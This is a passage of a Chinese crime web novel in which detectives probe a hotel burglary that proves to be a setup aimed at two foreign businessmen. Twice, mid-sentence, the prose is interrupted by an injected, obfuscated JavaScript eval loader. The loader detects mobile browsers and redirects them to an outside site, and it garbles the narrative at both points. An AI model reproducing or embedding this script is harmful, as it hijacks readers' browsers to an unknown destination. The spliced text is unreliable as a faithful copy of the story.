“我们酒店在去年更新了这套红外线外墙监控,装上之后酒店外墙就没出现过什么异常情况,但这套系统有过一两次误报,所以今晚一开始,我们保安在中控室发现情况还没反应过来,等调取了相关摄像头记录之后才确认具体的房间,然后我们安保主管就组织人手过来了。这次一共两个人,他们在这个房间的下一层开了个标房A516,就在那儿。”老王和陈登就顺着他指的方向看,是斜下方的一个房间。“这幢楼从这一层开始往上就是我们酒店的豪华层,我们酒店的套房都集中安排在这几层豪华层,往下都是各种普通房型。今天晚上他们其中一个就从那个标房爬到这边阳台,然后进屋。另一个还在A516,我们估摸着是负责望风或者偷完东西爬回去时辅助接应的,反正肯定是同伙呗,就分了两路人。也是万幸,客人自己也警觉。我们一队到B618门口的时候,还盘算怎么开门比较能保证客人的安全,这时候客人自己就按响了警报,我们就决定直接刷开房门,一波流抢占先机。不过进去的时候,刚好客人把人砸晕了。这边警报一响,楼下的二队也冲了房门,就第一时间把俩都控制了。”安保经理是有些亢奋的,这么刺激的事情,这辈子碰不到第二起。 老王和陈登感谢了安保经理的配合,安保经理刚也看见王琼来了,就进屋找她。 陈登拿着小本本给师父补充一些自己了解到的情况。“其实这俩人准备了不少。他们还预备了爬上阳台后,割阳台门玻璃的工具,只是今晚没用上。另外他们的标房是在两天前开的,我觉得在酒店里踩点不至于花两天,翻了一下他们标房里的工具包,里面还有个复制房卡的仪器。恐怕是因为酒店安全管理严格,在这两天里没能偷到工作人员的总控卡,上不来套房的楼层,更打不开房间门,这才用了备选方案爬外墙。” 老王下意识在口袋里摸了摸才想起来自己在戒烟了,最后怅然地摸出一小包山楂片,拿一片放进嘴里。“你说他们两天前就开了标房?” 陈登勾起嘴角,笑得狡黠:“师父你也发现啦!” 老王调皮地和徒弟对笑:“这两位客人是今天傍晚刚到的本市,原本也不是住这个酒店,住到这间房纯属偶然。除非这俩贼能掐会算未卜先知,所以他们不是针对这两位女客人的财物而来。” “他们是认准这套房。”陈登补充,“师父,刚刚酒店前厅的值班姑娘也帮我查到,这两人最初开房,只说要高一些的楼层,说是喜欢看景,所以在这层开了一间房,位置在走廊那头,视野更开阔。但进房间后很快要求换房,提出了朝向的要求,于是换到了现在这间。” 4. 第 4 章 “不针对这两个客人,但针对这套房?并且,针对这套房的次卧?”这是什么道理?是觉得住这套房的客人都有钱,随机作案?这层也不是只有这一个套房,别的套房客人没钱?还是说,这间套房里有什么?也不应该啊,酒店房间人来人往,成天来回打扫维护,有什么也藏不住啊! 老王揉下巴,往客厅里看,沉思。套房客厅里暖金色的明亮灯光把内饰衬得贵气奢华,透过一尘不染的玻璃门,客厅里的景象一览无遗。在老刑警的眼中,现场的各种痕迹和细节都已经清晰地在脑内还原出了案发时的状况。 嫌疑人从下一层的标间A516,借助少许工具爬上B618套房的阳台,触发外墙防盗系统,酒店安保开始行动,兵分两路。 嫌疑人发现阳台玻璃门没有被锁住,于是顺利进入B618房内。 由于没有月亮,光线昏暗,嫌疑人看不清房间里的陈设,走动间身上的硬质工具碰倒了办公区里的白瓷笔筒,发出声响,引起两位客人的警觉。 主卧的宋女士起床,走到卧室门口张望。 次卧的张小姐反锁房门。 两位女客人动作都很轻,嫌疑人未发现自己已经暴露,径直来到次卧门口,发现房门反锁,蹲下开锁。 宋女士从主卧取出一把金刚杵,来到嫌疑人身后。 张小姐按下警报。 两路安保队员果断冲入房内。 宋女士一杵砸晕嫌疑人。 结束。 精彩! 老王办案那么多年,笨贼也不是没见过,但能这么废物的嫌疑人,和运气这么好的被害人也是极为少见。他们刚到场那会儿简直沉默得震耳欲聋。不管是被那么粗的法器锤成咸鱼的嫌疑人,还是那满嘴搞封建迷信降妖除魔的被害人,还有那些也不知是被嫌疑人还是被被害人吓得一脸懵逼的酒店安保,那场面老王现在回想起来都能笑出鼻涕泡。 这次的案子,过程很清晰,酒店处理得也不错,现场保护得挺好,就是这里头的当事人属实有点奇葩。好在嫌疑人都抓住了,回去问问。 老王点点头,又对徒弟说:“既然俩小贼认的是这套房,那B618在这之前住过哪些客人?”陈登攥着小本本抿了抿嘴,老王注意到了,“怎么?你小子忘了问了?” 陈登回答道:“师父,我问了。你还记得我跟你说过的两个很讲道理的有钱公子哥儿么?” “……就他俩?” “嗯。” “他俩现在人呢?退房离店了?” 说到这儿,陈登压低声音悄悄说:“不是,之前琼姐告诉过我,他俩被酒店免费升房了,现在住总统套房。” 嚯!师徒俩对视片刻,都知道对方心里想的和自己一样。 很好,两个新的案件相关人员,很可能是真正的受害人。 王琼瞌睡得不行,给自己倒了一杯水,还没来得及喝一口就迷糊了,小鸡啄米了一阵,干脆趴在桌上就眯过去了。直到陈登推门进办公室才被叫醒。 王琼半夜被叫到酒店后就没得休息,光是安抚那位宋总就是大半宿,一直熬到太阳快出来了,得到通知警方也想问她一些事情,王琼简直要开心地哭出来!艾玛这些客人一个个的,可太粘人了,自从她在行政酒廊里坐下陪宋总,就跟进了盘丝洞似的,被粘得结结实实,再也没能站起来过,被迫听了大半宿神仙妖怪魑魅魍魉的前世今生,可算是给她找着个脱身的借口了。劝着开始显出颓势的宋总和早已困傻的小张助理回去补觉,得空抽身出来回到办公室等候,争分夺秒给自己喘口气。 都是熟人,王琼也不用拗造型,揉揉眼睛就说全力配合工作,保证知无不言言无不尽。 “这里头还有他俩的事儿呐!”王琼瞪圆了眼睛。 “目前还不能确定跟他俩有没有关系。”陈登严谨地强调。 “懂懂懂!”王琼和她叔一样揉下巴,“也对,他俩的身价是目前我们酒店里最高的了,以他们为目标也正常。不过,据我所知,他们没有什么多贵重的物品。昨天换房的时候,我全程陪同,史蒂文他们就几个行李箱,屋里的保险柜他们都没有给过一个眼神。严谨一点地说,至少到目前为止,他们不像是有什么特别重要的东西。” “会不会他们提前收拾到自己的行李箱里了?” “不至于。我们例会散了之后,总监单独跟我确认要给他们换房,接着我就接到你的电话,然后我就直接过去通知他们了,当场问的什么时候方便搬动,他跟他老板对视一眼就说现在吧,就当场开干,收拾行李都当着我的面,太不把我当外人了。” 陈登都懵了,这有点不太符合他对高端客户的认知,富人们不是都很介意隐私么…… 在陈登面前,王琼说话一向直接,问:“你觉得,需要我们酒店给他们定制安保计划,或者安排额外的私人保安陪同吗?” 陈登:…… 要不然你年纪轻轻做到经理呢! 总统套房S888内,路易和史蒂文在警方到达酒店时就醒了,并且很快搞清楚了情况。 史蒂文扒了两下头发,微眯着眼睛,说道:“Boss,你怎么看?” 路易还穿着睡衣,此时随意地坐在沙发上,擦着眼镜玻璃,声音里还带点慵懒:“还用说么。” “所以就是冲着我们来的吧!” “这世上没有那么多巧合。”路易把擦干净的眼镜架在鼻梁上,“更何况,我们的世界里,绝不会有什么巧合。” 史蒂文“啧”了一声,继续问:“这又是哪路人马?我本以为,我们在大华会挺安全呢!” 路易瞥了他一眼,微微笑说:“Steven,你说这话就一点都不专业了。你可是个保镖。” 史蒂文摊开手,表情夸张地耍无赖:“Boss,你还记得我是个保镖么?我还以为你把我当成一个正在扮演特别助理的演员!” 路易笑着撇开了头。转瞬间,语调清清淡淡:“去查一查,我们这次来大华都有哪些人知道。从联邦那边查起。” 史蒂文掩着嘴正打哈欠,闻言回头看他:“你怀疑是‘公司’出了问题?” 路易也转头看向他,严肃地说:“你忘了么?联邦可不是只有我们‘公司’。” 史蒂文一僵,恍然大悟地“啊”了一声。确实,不止是“公司”……转瞬间,他又想起了什么,语气犹疑地问:“那这次的生意是不是也……” 路易垂着眼没应声,他确实早就觉得这次的客户有些问题。他们声称为了安全起见,坚持要求在大华面谈具体的合作事项,并要求必须是路易本人。沟通过程中,他们的态度非常谦恭,但要求极其强硬,几乎没有任何讨价还价的余地。路易的合作意愿并不高,只不过牵线的中间人帕朗是个老熟人,也不能完全不给面子,毕竟,帕朗的背后是“司令”。可现在看来,就连帕朗那家伙,都有必要先扒光看看到底是什么成色。 史蒂文作为保镖,只是不那么擅长玩心眼,可毕竟不是个傻子。他当即说道:“明白了,我今天再跟那边联系,探探他们的反应。” 路易嘱咐他:“小心,不要打草惊蛇。可以让他们觉得,我们感到了不安,但还没有联系到任何人身上。” 史蒂文挑着眉毛点点头,表示知道了,转身往外走。快到门边时,又突然转身急急折返。 “差点忘了!Louie,你知道我最佩服你的是什么么?”史蒂文一脸的崇拜。 “有事直说,别恶心我。” 对于被路易嫌弃这事儿,史蒂文不以为意,“你不是不放心那个陈登么,让我去查他。”路易闻言转过头来看他,史蒂文继续说:“你的直觉是对的。知道刚才我们的人在B618看见谁了么?” “……他怎么在那儿?”路易迟疑。 “他是个警察。”史蒂文点点头,倒退着边走边说,“他的详细资料也快了,今天晚些时候我应该就能给你。”说完转身出了房间。 他走后,房里的路易沉默着一动不动。他小心地控制着呼吸,以免颤动得太明显。这个消息来得有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615083|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些太突然,对路易来说,这可能是他最不愿意面对的一种,但放在陈登身上,似乎并不意外。没错,他就是这种人,就该是这种人。 黎明的曙光从没有合严的窗帘缝隙中透进来,淡金色的光投到路易的脚边,却照不亮他一分一毫。黑暗中的人宛如一尊雕塑,他沉默在阴影中,很久之后,他似乎笑着叹息了一声。看来,我们只能从未认识过了,这就是命运吧…… 太阳照常升起,又是刑警队忙碌而又充实的一天。 冯佳佳看到李弛狗狗祟祟地往一间审讯室张望,不由得露出地铁老人脸,这货太有损警员形象了。冯佳佳上前一掌拍在李弛背上,喝道:“干什么呢!” 李弛被吓一跳,见是冯佳佳,瞬间又切回八卦脸,指指审讯室,说:“那个那个!搞笑的笨贼!” 冯佳佳心说你要不要照照镜子,怎么好意思五十步笑百步的呢,“什么搞笑?什么笨贼?” 李弛重新组织了一下语言:“就是琼姐他们酒店,昨晚发生一起盗窃案。嫌疑人爬外墙的时候触发了防盗系统。” “就被保安抓住了?盗窃案一年到头多少起,有什么奇怪的!”这顶多也就是业务能力不到家,也算不上笨吧。 李弛连连摆手,“保安还没赶到,他就翻进房间,结果被房里两个女客人发现了。” “他伤害酒店客人了?”冯佳佳不由得嗓门都吊高了。 “他没来得及,一个女客人按了紧急呼叫的警报。这时候其实酒店保安已经到房间门口了,一听警报直接冲进房内。” “我说李弛,你也太闲了吧,就这你都能当西洋镜看半天?”冯佳佳半天没听到有多特别的内容,有点不耐烦了。 “不是,你别急呀!重点来了!这人在保安冲进来的时候,被另一个女客人……噗!”李弛说到一半都没能憋住,笑了出来,“那个女客人六十多岁了,没想到跟武松有得一拼,她提着一根金刚杵,一把给嫌疑人锤出了脑震荡哈哈哈!” “用……用什么?”这词儿作为武器真不多见,冯佳佳觉得自己是不是听错了。 “金刚杵哈哈哈!你能想到么?黄铜的,得有个一尺长,实心的,拿在手里跟古时候打仗用的战锤也没多大差别了,你说这老太太是不是够让李元霸给她敬一个哈哈哈!” 冯佳佳脑补了一下,也没憋住。 “你知道老太太为什么爆发小宇宙么?” “为什么?” “因为老太太认定,他是被一个色鬼附身了。你想,他半夜拼了小命爬高楼外墙进了房间,房间里两个女客。他无视主卧的老太太,直奔小姑娘的次卧,老太太说那不是想劫色是什么?谁家蟊贼不偷主卧偷次卧去?噗哈哈哈你说是不是挺有道理!” 瓜是越嚼越香,李弛比比划划继续补充:“这货当时就晕了,头上起了个包,这也就得亏老太太劲儿不大,换个男的就开瓢了。被抓了以后我们给他送去医院检查,中途他就醒了。后来医院说轻度脑震荡,别的没啥,今天就带回来了。他还有个同伙也被酒店保安抓住了,夜里直接送来审了。那货更窝囊,全程不知道自己到底怎么暴露了,心理素质还奇差,只是把他带到拘留室还什么都没问,小崽子嗷嗷叫着要坦白要立功要争取减刑。估计这边也快了。” 冯佳佳跟着笑得开心:“那陈登这小子这趟出去,收获还不错啊!” “可不是么!”李弛也是真心为陈登高兴。 冯佳佳却瞬间翻脸:“那你呢?”扬起手里的文件夹拍在李弛肩膀上,“你的案子呢?别人昨晚的案子你摸得门儿清,你自己的案子查几天了一问三不知!李憨包你跑什么!你给我站住!”冯佳佳问一句打一下,越说音调越高,最后一句差点儿破音。 他们同期三人,冯佳佳总觉得两个男生让自己操碎了心,尤其是这个李弛,只长肌肉不长脑子,犯起蠢来实在没眼看。最烦人的是,他还蠢得无知无觉,成天只知道傻乐。乐什么乐!她也恨不得去请个金刚杵来给他锤出菩萨头来!冯佳佳气鼓鼓回自己工位。 5. 第 5 章 审讯室外的小热闹一点不影响里面的氛围。事实上,陈登已经怀疑人生有一会儿了。这世界是癫成啥样了! 不查是真不知道,这位被法器锤出原型的窃贼还不是一个普通蟊贼,人家在道上还是闯出过名号的。 马程飞,男,31岁,Y省K市M县人,无业。在正面的社会里,他是无业游民,是街溜子,是小混混,可在另一面的社会圈子里,他是大名鼎鼎的 “飞哥”、“小马哥”,虽然还没被捧到“盗圣”之类的程度吧,但已经有了不少想跟他学技术的人。最初是有个初中毕业的小年轻,听说了他的名声,特地跨越千里跑来Y省找他,想拜他为师,虽然最后没有收这个徒弟,但人家一口一个“大师”着实把马程飞叫得飘飘然。这事之后马程飞膨胀得不行。 按理说,大华的盗窃犯罪通常都被限制在一个层次很低的程度。什么小偷小摸扒点手机卡证什么的就差不多了,聪明一点儿的人玩的是互联网,偷一些帐号里的虚拟币啥的,大胆一点的偷文物,但那是极小的一个圈子,通常更讲究门路,和偷的技术没太大关系。所以在大华说到“偷”,很少有人能想到什么惊天大案。马程飞到底是做了什么才能赢得这么大的名气和口碑呢?说来这家伙也是有点子不走寻常路。他确实曾经做过几个不小的案子,一个比一个一言难尽。 马程飞一直认为自己和别的“偷儿”是不同的,他觉得自己要么不偷,要偷就必须是实力派,走技术流,用脑子偷。就是说,他是有技术追求的,如果国家对盗窃技术也有个职称评定,他觉得自己必须得拿到那个“八级钳工”的证书。所以那些什么在街上乱窜撞人掏人家口袋、挤公交顺别人手机之类的档次太低,他马程飞丢不起那人。在网上偷人家帐号之类的,他又觉得不够刺激,不稀罕学。风险和收益双高的文物盗窃,马程飞嫌晦气。按他的说法,博物馆里的这年头你一般偷不出来,别人家压咸菜缸的宝贝你认不出来,所以能偷的也就自己刨地挖出来的,这老物件要是不晦气,也不至于埋了那么久还让你个孙子给刨两下就得着了,这些能是宝贝么?你就是个超人,这些都是氪石,给你克的死死的!压根儿就不该你碰的玩意儿,你还能想着拿它练技术? 不得不说还是有那么点逻辑自洽是肿么肥四…… 所以马程飞想偷的是什么呢? 他曾经认真分析过,不管什么东西,达到一定的规模才能实现性价比。你从一万个普通人手里各偷一块钱,累死也就一万块。你从一个有一百万的富人手里偷一次边角料,一万块也不难。所以,要偷就奔着有钱人偷。 但有钱人丢了钱,也更容易闹大呀!没事,奔着那些没胆子嚷嚷的偷呗! 什么叫“没胆子嚷嚷被偷”的呢?飞哥会告诉你,你四不四撒!就那些不义之财,懂不?不义之财! 然后他现身说法,亲身示范。 曾经有俩抢劫了金店的悍匪,好不容易抱着一大包黄金吭哧吭哧逃到荒郊野地,换车乔装。俩人换完衣服,转身发现黄金不见了,都猜疑是对方想要独吞,警察赶到的时候俩人都身负重伤…… 一个财务因为赌博,实在还不上钱了,盘算布置了许久,偷了公司几百万出逃,结果几天后在躲藏的小旅馆里哭天抢地,嚎着钱没了,命也要没了…… 一个贪官刚接受了一笔贿赂,当他捧着刚到手的和田籽料无事牌打开书柜暗格里的保险箱时,被“邦”地一声敲晕了过去。等他醒来,一瞬间脸色褪成死白,抖成筛糠,一口气没上来,翻着白眼又往后倒去…… 凡此种种,诸如此类…… 总结一下,马程飞主打的就是一个黑吃黑。 这么做的好处主要是效率高,要偷的东西成色好不好,价值高不高这种低级问题不用问了,被你吃的那户已经替你验证过了。 于是又有一个问题。被吃了的“黑”们难道就没想过报复吗? 当然有,只是能实现的至今为止还没有。马程飞有个亲哥哥叫马鹏飞,做的是白货的生意,素来人狠话不多,他的发家史本来也是刀口舔血树敌无数,所以弟弟那些个孽债在他眼里毛都不是。 马鹏飞平时看不上弟弟弄的那仨瓜俩枣,在他看来弟弟这就是玩儿呢!但还真有过几次资金紧张的时候,是弟弟给他弄来了救急的钱,所以马鹏飞挺支持弟弟的“事业”。 马程飞曾经想过自己会不会有朝一日,没被哥哥护住而挨刀,却从没想过自己能被一把金刚杵当成邪祟给收了,从此江湖再无飞哥……上哪儿说理去…… “马程飞。” “到。”马程飞满心委屈,他和别的“偷儿”不一样,他知道自己接下来就只有铁窗泪这一种可能了,毕竟这次抓的现行,好在未遂,不至于蹲太久…… “你说你就是去偷客人东西的。” “是。” “你撒谎!” “警察同志,我真就偷东西,没干别的。” “你打算偷她们什么?” “钱呐!他们住套房的客人有钱!一天几千块的房费,一定是有钱人,有好东西。” “那你觉得一整间套房里,哪里最有可能有好东西?” “……”马程飞垂下眼,有些委屈地说,“我搞不清楚套房里长啥样……” “你不知道套房长啥样你就直奔那扇门?” “我真不知道,警察同志,你看,我像是那种会住高级套房的人么,是吧!”马程飞尴尬地笑,铐着的手反指了指自己,“咱也是穷孩子出身,没上过台面嘛,是不是……” 陈登冷淡地看着他说:“我劝你老实点坦白,继续演戏我这儿也发不了奖给你,倒是可能让你在里面多待几年。” “我没撒谎,真不骗你,我这之前都没住过酒店,不信你们去查有没有我的开房记录!” “系统里当然不会有你开房的记录,你都让你小弟开了房把房卡给你。马程飞,你有点儿聪明,但不多。最后劝你一句,坦白从宽。” 马程飞咽了口唾沫,迟疑地说:“我确实不知道花冠皇庭的套房是什么样的,我没住过他家……” 陈登叹了口气,声音不大,说道:“你不会以为麻崽儿还什么都没说吧?” 马程飞明显地僵了一下。 “你俩同时被抓的。你还去了趟医院,他直接送来了这儿。”陈登拿起杯子喝了口润润喉,说出来的话阴阳怪气的,“看不出来你对麻崽儿还挺看好啊,觉得他比你更有出息是吧。” 马程飞没吭声,眼神已经有些许不安。是啊,怎么把这小子忘了……当初选他跟在自己身边,不就是因为他纯纯一个孬种,膝盖软的跟面条似的好欺负么。 “你以为他是个彻头彻尾的废物点心,知道的事情反正不多,就算把他倒干净也没多少事儿是吧?” 马程飞确实是这么想的,麻崽儿虽然跟了他两年多了,但平时只是给他打杂,供他羞辱取乐,他从没真让麻崽儿接触要紧的事。 陈登看马程飞还在负隅顽抗,暗暗叹息,有些人就不值当给他机会。“麻崽儿在你眼里是废物,你猜麻崽儿是怎么看你的呢?” 马程飞闻言抬眼看过来,他从没考虑过这个问题。怎么看他?麻崽儿还能怎么看他!敬他,怕他,艳羡他的地位和本事…… “他恨不得咬死你。” 马程飞震惊。 陈登继续添柴:“你不知道吧,麻崽儿能留在你身边那么久,就是因为他恨。你以为只是让他打杂就没事了?他连你的DNA都搞到了。你以为他是好欺负,他只是为了报仇在隐忍。你□□未成年少女的时候,没想过人家哥哥能为了报仇做到这种地步吧?” 马程飞浑身发冷。他确实不知道。他跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615084|172194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别的“偷儿”不一样,他有个卖白货的亲哥哥,多点艳福真不算什么……麻崽儿有妹妹被他睡过?还是未成年!他好像是睡过几个未成年……完了,这事儿判的肯定比盗窃未遂多啊,多很多啊! “警察同志,这可不能乱说啊!我怎么可能□□,还未成年,这绝对不可能的事情,你们不能听这小子乱咬人呐!你们知道他为啥叫‘麻崽儿’么?我告诉你们啊这小子……” 马程飞一串辩白还没说完,陈登“啪”一掌拍在桌子上打断了他:“最了解你的人往往是你的仇敌,麻崽儿跟着你那么久,你还有多少事情是他不知道的呢?黄金?不连号的现金?还是和田玉?飞哥?” 马程飞如坠冰窖,心如死灰。他跟别的“偷儿”不一样,毕竟他名声在外,案值特别巨大…… 刑警支队食堂。 陈登猛扒几口饭,嘴里塞得满满的。老王坐在对面看看他,嘿嘿笑他:“气着了?” 陈登怕嘴里的饭菜喷出来,快速嚼了两下,匆匆咽下,却一不小心噎住了。老王赶紧把汤碗端起来给他。陈登喝了汤,终于把饭菜顺下去。放下汤碗,闷着鼻子回师父的话:“倒也不是气,就是不甘心。” 老王伸出手指隔空点点徒弟,笑说:“还是嫩了点儿,这就沉不住气了!审讯结果不理想那不是九成九的事情么?哦,事情的真相就一定得按照你推演的来啊?你就非要马程飞去偷外国人呐?” 陈登放下筷子,撅了噘嘴,“那都这么明显的事情,谁会相信是巧合啊!师父您之前不也跟我想的一样么……” 老王又嘿嘿笑了几声,把陈登没吃完的饭碗又往前推了推,示意他赶紧吃饭。陈登手背蹭了蹭鼻子,拿起筷子继续吃。 老王掏出山楂片含嘴里,不紧不慢地对徒弟说:“收获还是挺大的。你没发现么?” 陈登疑惑地从饭碗沿口上抬眼看他。 老王熟练地复述笔录里的内容。“马程飞交待,他收到消息,有富商在花冠皇庭大酒店的B618套房入住,就去偷了。”老王说着揣起手抱胸,“你发现没?不管是宋亚琴和张欣,还是之前住的路易和史蒂文,两组人确实都是富商的身份,都住过B618。” “师父您是说,马程飞虽然知道具体房间的两个人,但不知道这两个人是谁。” “这不是明摆着么!”老王皱起眉头嫌弃徒弟迟钝,“我是说,谁放出的这消息,能说出具体的酒店名和房间号,却不说人的特征。” 陈登一愣,“对哦!” 聪明的徒弟平时总是装傻,这回难得显露出真实的因经验不足而尚未褪干净的傻气,老王从其中获得巨大的快乐,笑得眼角褶子堆一堆,见牙不见眼。 下午,老王就让陈登开车,带他去见了一个人。 鼠爷在他那个圈子里属于是少见的能人。由于跟着两个道上的哥哥,再加上长相的关系,少年时被起外号叫三耗子。如今时过境迁,物是人非。两位哥哥一个死在道上,一个吃牢饭能吃到死,只剩了他倒是好好的。虽说也没做过什么惊天动地的事,却也是在这圈子里实打实熬出了资历。所谓“剩者为王”,他也就被敬成了“三爷”。可他不爱别人叫他“三爷”,让人叫他“鼠爷”。 “谁知道三爷是个什么东西?但凡是个行三的都能叫三爷。可叫鼠爷,就没谁不知道这是当初的三耗子!”鼠爷年岁长了,身上的肉却还是没长几两。他随和地说着话,手上没停,不一会儿给老王和陈登来了个“凤凰三点头”,然后给两位客人分了茶,做了个“请”的手势。 陈登伸出手指扣了扣桌面。鼠爷嘴角又往上勾了几分。 老王熟稔地端起茶杯喝了口,赞叹:“耗子,你这茶水,确实是越来越好了。” “不敢给你送,你喜欢可以随时来喝!”鼠爷笑嘻嘻,“你们规矩大,兄弟我懂!” 6. 第 6 章 “在你这儿长见识。这么好的茶,不便宜吧?” 陈登听出来他师父竟然在吹捧别人! 老王和鼠爷在年轻时就相熟,却从没有将对方视为对手甚至敌人,这主要得益于鼠爷没造过什么孽。其实三耗子那时候纯粹就是个迷茫的中二少年,就是觉得结拜啊太酷了,于是认了两个义兄。可是想也知道,在新时代的大华,正经人谁跟你玩摆香案歃血为盟,否则三刀六洞整个流程?他后来也知道了一些哥哥们的“事业”,但他不认同也没有用,于是主动回避了。后来俩哥哥相继出事,哥哥们的事业就莫名其妙都交到了他的手上。可他惜命,哥哥们的现实摆在眼前,赚钱多是没错,也得有命花!他开始大刀阔斧地做起了内部改革,把那些动不动就要掉脑袋的生意全部清除,专注“娱乐”和“信息”产业。几年下来,明面上的几个主题公园、游乐场、度假村之类的都挣得盆满钵满,暗地里,鼠爷也做成了道上最大的情报网络。 鼠爷这人很通透,他不单给道上的兄弟能提供信息,在必要的时候,他也很乐意给老王这样的“蓝精灵朋友”行方便,当然,在如今的Y省,他也只认老王这一个“蓝精灵朋友”了。所以,这次老王想到了他,带陈登过来,也是让鼠爷认认,把这人脉也留给陈登一份。 “有钱也难买!”鼠爷很吃老王的夸奖,一听就乐,眼角一瞟陈登说道:“我收这茶可一点儿不比你收个好徒弟容易!” 老王假装听不出来调侃的意味,只喝完杯子里的茶水,指了指陈登道:“知道我收了个好徒弟,你不得给份见面礼啊?” 鼠爷撇撇嘴。“说吧,来问什么?” 老王给陈登使了个眼色,那意思:来吧,狮子大开口! 陈登收到师父的意思,对着鼠爷露出了他对自家方支队长经常干的事——傻笑…… 从鼠爷那儿出来,老王和陈登确定,果然不是简单的盗窃案件,而是有人设了局。 早在一周前,K市就已经有传言,有富商入住花冠皇庭大酒店的贵宾套房。这信息是马程飞交待了的部分,也是在当时,鼠爷得知的内容。而直到三天前马程飞在花冠皇庭开房踩点后,鼠爷才知道,关于这位富商有更具体的内容,这一部分马程飞没有交待,也没有在圈子里流传。 内容包括这名富商随身携带有大量高品质的联邦国宝石和玉石,意图贿赂当地官员之用。因此,被专搞黑吃黑的马程飞视为送上门的肥羊,最适合下手的那种。 此外,马程飞还得知,富商非常狡猾和谨慎,善用计策。他有个小习惯,就是外出时总会和自己的助理互换身份作为掩饰。因此马程飞认定他在酒店套房睡的一定是次卧。 那么又一个问题,这些并未在外流传的消息,就连鼠爷都是后来得知,马程飞又是从何人处得到的情报呢?鼠爷给出了答案。马程飞的哥哥马鹏飞。 马程飞隐瞒了这部分,是为了避免牵扯出哥哥,让警方误以为他听说了些不准确的小道消息,鲁莽行事导致阴沟翻船。 那么马鹏飞又是怎么得到这些情报的呢? 结合全部信息来看,这次的案件显然是有人故意放出消息,引诱马家兄弟上钩。那么路易和史蒂文是什么角色?是被马家兄弟牵连的冤大头,还是真正被针对的人? 陈登暗暗叹息,没见鼠爷的时候还只是不太满意调查结果,见了鼠爷反而问题更多了…… 老王倒是一如既往的稳如泰山。他笑呵呵把山楂片分了一片给陈登,说:“你很在意那个外商?” 陈登含着酸酸甜甜的山楂片,正想着为什么戒烟要用这种味道压制戒断反应,听见这个问题一愣。“师父你不想知道吗?这局到底是为了搞谁!” 老王说:“我想知道啊,不过,在我这儿,是那个外商还是宋亚琴,或者再别的谁,都一样。” 陈登琢磨了一下,说:“可能我对史蒂文他们印象好点儿吧……” 老王就非常顺手地给了他一个毛栗子,说:“办案的时候,哪能被私人感情影响呢?我不信你在学校的时候老师没有强调过这点。” 陈登捂着脑袋吸着气,扁了扁嘴:“师父,我知道了。你手真重……” 老王很自豪地又扬了扬自己的两根手指。 陈登配合着往后缩了缩,忍不住问出了心底的疑问:“师父,耗子叔是什么时候成你的线人的?” 老王又拈了一片山楂片,说:“很早以前了,那时候他还是三耗子,一开始,他是我一个师哥的线人,有次师哥跟他碰头的时候带上了我。后来有一年,师哥在一个任务中没回来,那之后就只有我会联系耗子了。” 陈登默了默,觉得有些伤心的事,就不必多说了,于是把话题往另一个方向扯,“那耗子叔为什么会成为警方的线人?这么多年了,没被发现过吗?没人有意见?” 老王果然对中二热血的话题更有兴致,也更擅长,随后回来的一路上都在兴致勃勃地给陈登讲当年的事。别看鼠爷现在人五人六,当年也是个被良心和现实做成夹心饼干的脆皮少年,一度濒临崩溃,但有幸在泡网吧时通过网络结识了一位蓝精灵朋友,在彼此都还不知道对方身份时,脆皮少年就得到了真诚的帮助,甚至可以说是精神上的解脱和救赎,这才有了后来的一系列。 陈登听到后来嘴都成O了,电影剧本敢这么写么? “时至今日,黑白两边对耗子的事情早都心里明白了。至于你说有没有人有意见,要搞他……这我也曾经担心过,不过耗子这人浑身上下都是心眼儿,他搞起那个情报网,并没有用来搞人,反倒是帮过不少人,给人雪中送炭。那道上的规矩就是得讲知恩图报嘛!一来二去,他对那么多人有恩,谁还跟他计较和谁交朋友的事儿。” 陈登点点头,对鼠爷的江湖地位又有了新的了解。“所以,以耗子叔如今的江湖地位,如果我们警方提出需求,也会有人愿意帮忙吧?” 老王却摇了摇头,说:“那不一样。恩情是耗子给他们的,但这终究只是一种人情,人情可以还也可以不还,而且越还越淡。这人情攥在手里不用,才是最有用的。人家知恩图报,是情分,但你要是挟恩图报,那就是你过分了。” “哦,明白了。”陈登知道,这就是说不能指望这案子能从□□这边获得更多助力了,还得靠他们自己。“师父,马程飞为了保哥哥,肯定是不会再吐露更多了,宋亚琴是乱入的炮灰,其实是最无关的人,接下来我们是要调查史蒂文他们么?” 老王在副驾上沉吟了一会儿,说道:“这案子还是结案比较好。” 陈登猛然扭头看师父,差点儿没把脖子扭转筋。 “哎哎,开车呐!”老王一把拉住车顶前扶手赶紧提醒。 陈登又转回去,继续开车。过了一会儿,才开口问:“师父,你是觉得这案子查不到底?” 老王“唔”了一声,说:“我们虽然知道有人设局,但目前拿不到切实的证据链。鱼都还安稳地躲在水下,我们起不了钩,一旦我们有动作,反而容易让鱼顺利脱身。” “那是要等以后么?以后他还会有动作吗?” “肯定会。外商不会一直待着不走。” “师父,你已经认定,局是针对史蒂文他们的?” “如果是我来设局针对马家兄弟,我会更倾向于先制造意外,迅速干掉哥哥马鹏飞,而不是玩心眼从弟弟马程飞下手。马家兄弟的核心一直是马鹏飞,心更狠,手更辣,先动马程飞不单伤不了马鹏飞的元气,反而容易引起马鹏飞的警觉和愤怒,遭到强力的报复。到时候要再动马鹏飞会更难。” “那……师父,你说史蒂文他们知道有人要对他们不利么?” “就算之前不知道,自己刚搬离的房间进 